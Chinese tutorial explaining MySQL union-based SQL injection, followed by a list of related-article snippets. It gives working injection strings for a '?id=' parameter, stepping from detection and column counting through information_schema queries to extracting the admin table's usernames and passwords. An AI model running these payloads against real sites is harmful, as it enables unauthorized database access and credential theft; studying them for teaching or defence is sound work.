mysql数据库sql注入原理_SQL注入原理解析以及举例1
sql注入是指web应用程序对用户输入数据的合法性没有判断,导致攻击者可以构造不同的sql语句来实现对数据库的操作。
sql注入漏洞产生满足条件:
1;用户能够控制数据的输入。
2;原本需要执行的代码,拼接了用户的输入。
举例:
攻击流程:
1;判断是否存在sql注入漏洞。
2;判断网页存在字段数。
3;判断回显点。
4;获取信息。
测试开始:
测试目标获取管理员账号密码
一;判断是否存在sql注入漏洞。
1.1;构建sql语句:?id=1 and 1=2 查看页面是否正常。结果页面显示不正常。
注释:因为id=1为真(可正常访问页面),且1=2为假,所以and条件永远不会成立。对于web应用不会返回结果给用户。则攻击者能看到的是一个错误的界面或者页面结果为空。当然,如果攻击者构造的请求异常,也会导致页面访问不正常。
1.2;构建新的sql语句,确定是否存在语句逻辑错误导致页面不正常。?id=1 and 1=1 结果页面正常,初步判断存在sql漏洞。
注释:1=1 为真,and条件语句成立。
二;判断字段数:
2.1;构建sql语句:?id=1 and 1=1 order by 1 判断网页是否正常。?id=1 and 1=1 order by 2 判断网页是否正常。?id=1 and 1=1 order by 3 判断网页是否正常。结果:?id=1 and 1=1 order by 3 网页显示不正常,可以判断字段数为2
注释:order by 语句用来根据指定的列对结果集进行排序。详细请参考网址:http://www.w3school.com.cn/sql/sql_orderby.asp “order by 1”表示对第一栏位进行排序,
三;判断回显点:构建sql语句:?id=1 and 1=2 union select 1,2 (之后的查询结果将显示在下图红框位置)
注释:union 操作符用于合并两个或多个select语句的结果集,union内部的select语句必须拥有相同数量的列。详细参考:http://www.w3school.com.cn/sql/sql_union.asp
四; 获取信息
4.1;查看当前数据库名以及数据库版本。构建sql语句:?id=1 and 1=2 union select 1,database();?id=1 and 1=2 unio select 1, version()
注释:union select 1 ,database(),其中数字1占一列,凑数,用来满足union定义。database():表示网站使用的数据库,version():表示当前mysql的版本,usr():当前mysql的用户。
4.2;查询当前数据库以及表名称。构建sql语句:?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
注释:information_schema数据库用于存储数据库元数据,例如:数据库名,表名,列的数据类型,访问权限等。tables用来存储数据库中的表的信息,包括表属于哪个数据库,表的类型,存储引擎,创建时间等。table_schema和table_schema是表tables中的数据库库名和表名。limit 0,1 表示第一行显示一行数据。limit 1,1表示第二行显示一行数据。
4.3;查询表admin中的字段名。查询三个字段:ID username password
构建SQL语句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
构建SQL语句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1
构建SQL语句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1
注释:columns表存储表中的列的信息。其中包含数据库库名table_schema,表名table_name ,字段名column_name。
4.4;查询用户名称:?id=1 and 1=2 union select 1,username from admin
4.5;查询密码:?id=1 and 1=2 union select 1,password from admin
mysql数据库sql注入原理_SQL注入原理解析以及举例1相关推荐
- mysql oracle mvcc_PostgreSQL、Oracle/MySQL和SQL Server的MVCC实现原理方式
PostgreSQL.Oracle/MySQL和SQL Server的MVCC实现原理方式 关系数据库管理系统使用MVCC(Multiversion Concurrency Control多版本并发控 ...
- oracle与mysql执行sql原理_PostgreSQL、Oracle/MySQL和SQL Server的MVCC实现原理方式
PostgreSQL.Oracle/MySQL和SQL Server的MVCC实现原理方式 关系数据库管理系统使用MVCC(Multiversion Concurrency Control多版本并发控 ...
- 统一javaweb项目和mysql数据库时间UTC时间方法及原理
统一javaweb项目和mysql数据库时间UTC时间方法及原理 文章目录 统一javaweb项目和mysql数据库时间UTC时间方法及原理 前言 UTC时间与 GMT时间 时间戳和时区 mysql时 ...
- mysql jdbc 绑定变量_jdbc测试mysql数据库sql预解析(绑定变量)
jdbc测试mysql数据库sql预解析(绑定变量) 用习惯了oracle,学习mysql,想测试一下mysql绑定变量的效果.以前看网上介绍大部份都说mysql没有sql共享池的概念,所以也不存在s ...
- MySQL数据库SQL层级优化
MySQL数据库SQL层级优化 本篇主涉及MySQL SQL Statements层面的优化. 首先,推荐一个链接为万物之始:http://dev.mysql.com/doc/refman/5.0/e ...
- mysql数据库电脑配置_教你怎样正确配置MySQL数据库SQL Mail -电脑资料
本文用个人经历来讲解SQL Mail的配置与使用, 用SQL Mail主要是要完成这样的功能: >用户在网上注册后,系统将随机产生的密码发送到用户登记的Email. >用户在论坛的帖子有回 ...
- 简单MySQL数据库SQL文件
简单MySQL数据库SQL文件 Book数据库表范例+记录 /* Navicat MySQL Data TransferSource Server : pig Source Server Versio ...
- mysql hy000 1030_解决MySQL数据库SQL Error:1030, SQLState: HY000,Got error 28 from storage engine...
解决MySQL数据库SQL Error:1030, SQLState: HY000,Got error 28 from storage engine MySQL数据库报以下错误: ERROR 22-0 ...
- 资源放送丨《Oracle数据库SQL执行计划的取得和解析》PPT视频
前段时间,墨天轮邀请Oracle优化方面的资深专家 陈晓辉 老师分享了<Oracle数据库SQL执行计划的取得和解析>,在这里我们共享一下PPT和视频,供大家参考学习. Oracle优化资 ...
- 2场直播丨Oracle数据库SQL执行计划的取得和解析、一次特殊的 Oralce 硬解析性能问题的技术分享...
1. Oracle数据库SQL执行计划的取得和解析- 2021.02.23 2月23日(周二)晚八点直播课,Oracle优化资深专家陈晓辉,以专业ORACLE数据库技术支持工程师的角度讲解SQL文的执 ...
最新文章
- ORACLE联机日志文件丢失或损坏的处理方法(转)
- SpringMVC中重定向
- arm-linux交叉编译工具链的制作(基于S3C2440)【转】
- JAVA四圣降临,和平精英四圣降临模式攻略
- CVPR 2018 SINT++:《SINT++: Robust Visual Tracking via Adversarial Hard Positive Generation》论文笔记
- leetCode 53. maximum subarray
- 每日一题(51)—— 大小端判断
- python快递代取系统_代取快递的变现方式,校园跑腿的经营范围有多大?
- Apache服务器下载、安装、启动、关闭及卸载(win版)
- 不用到处找图标了!模库承包你所有的图标素材!
- 动态磅是怎么原理_浅谈动态地磅的原理及未来发展方向
- pandas选取特定段
- java程序员 英文简历_Java程序员英文简历范文
- Eviews下载及安装
- SCI-hub论文下载器(附下载方法)
- php模拟登陆校园教务网络管理系统
- 神武手游哪个服务器人最多,神武4端游什么老区人最多
- 阿里云-个人建网站从0到精通(三)-部署开发环境
- 二极管计算机原理,二极管的原理
- powershell 汉洛塔
热门文章
- java导出pdf_一张PDF了解JDK11 GC调优秘籍-附PDF下载
- ios开发 热搜词demo_手机app如何开发
- 计算机专业能不能转音乐系,中国音乐学院可以转专业吗,中国音乐学院新生转专业政策...
- android开源tabview,TabBarView
- Python isinstance函数 - Python零基础入门教程
- android判断usb已连接,android 判断是否有网络连接(usb连接电脑问题)
- linux子进程父进程例子,linux 子进程访问父进程
- 【C语言进阶】 宏定义实现字符串引用
- 景点门票销售系统系统java_某景点门票销售管理系统
- java http setheader_response.setHeader各种用法详解